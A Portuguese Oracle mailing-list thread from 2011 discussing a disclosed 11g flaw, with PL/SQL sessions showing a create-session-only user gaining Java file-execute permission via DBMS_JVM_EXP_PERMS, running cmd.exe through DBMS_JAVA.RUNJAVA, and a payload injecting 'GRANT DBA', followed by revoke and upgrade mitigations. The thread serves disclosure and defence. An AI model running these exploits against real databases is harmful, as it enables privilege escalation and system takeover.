Re: [oracle_br] Falha de segurança do 11g
Bom, a informação de que A Oracle não tem patch…nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared ORA-06550: line 2, column 7: PL/SQL: Item ignored ORA-06550: line 6, column 30: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 6, column 3: PL/SQL: SQL Statement ignored ORA-06550: line 8, column 39: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 8, column 3: PL/SQL: Statement ignored A outra vulnerabilidade descrita no documento, para dar grant de DBA ao usuário, também não funcionou: SQL SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS', 'writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GREMLIN''; END;', 'BEGIN NULL; END;') FROM DUAL; DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','ORACLE/AURORA/RDBMS/DBMSJAVA','SYS','WRITEOUTPUTTOFILE','TEXT',NULL,NULL,NULL,NULL,0,1,1,1,1,0,'DECLAREPRAGMAAUTONOMOUS_TRANSACTION;BEGINEXECUTEIMMEDIATE''GRANTDBAT SQL EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE()); BEGIN DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE()); END; * ERROR at line 1: ORA-31425: subscription does not exist ORA-06512: at SYS.DBMS_CDC_ISUBSCRIBE, line 59 ORA-06512: at line 1 SQL set role dba; set role dba * ERROR at line 1: ORA-01924: role 'DBA' not granted or does not exist Não tenho base 11gR1 nem 11.2.0.1 para testar, alguem pode testar e postar o resultado? 2011/5/2 Neto Longhi neto.lon...@gmail.com: Pessoal, achei uma materia no blog do Alessandro Guimarães, sobre Falha de segurança do 11g. Não sabia disso e achei interessante postar aqui. tai o link http://aguimaraes.wordpress.com/ David Litchfield, achou vulnerabilidades de segurança no Oracle 11g, embora os testes que eles fez tenham sido na versão 11gR2, a falha também acontece no Oracle 11gR1. O problema acontece devido a privilégios super generosos para as procedures java, permitindo que um usuario com apenas privilegio de create sesssion, possa se tornar um DBA, tendo assim total controle do banco. Alem disso, este mesmo usuario pode, com um simples select executar comandos do sistema operacional, como por exemplo gerar um arquivo.txt. Em casa fiz um teste e consegui t criar um usuario no sistema operacional e torna-lo membro do grupo administrator do windows. Terrivel não. ? A Oracle não tem patch…nem se pronuciou quanto a falha. No entanto você pode fazer sua parte. Basta fazer o revoke do PUBLIC das seguintes packages: *revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public;* -- Att, José Longhi Laurindo Neto Bacharel em Ciência da Computação. DBA Oracle Jr. Tel: (91) 81970312 E-mail: neto.lon...@gmail.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas »
RES: [oracle_br] Falha de segurança do 11g
Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must
Re: [oracle_br] Falha de segurança do 11g
Isso foi corrigido na 11.2.X... Raul Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS
Re: [oracle_br] Falha de segurança do 11g
Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8
RES: [oracle_br] Falha de segurança do 11g
Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais. Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER
Re: [oracle_br] Falha de segurança do 11g
OK Alessandro, vou estudar as minhas opçoes. Obrigado Em 3 de maio de 2011 12:23, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais. Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do
Re: [oracle_br] Falha de segurança do 11g
Só lembrando se você fizer o revoke, antes de qualquer upgrade ou instalação de option, tem que voltar os privilégios. 2011/5/3 Neto Longhi neto.lon...@gmail.com: OK Alessandro, vou estudar as minhas opçoes. Obrigado Em 3 de maio de 2011 12:23, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais. Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 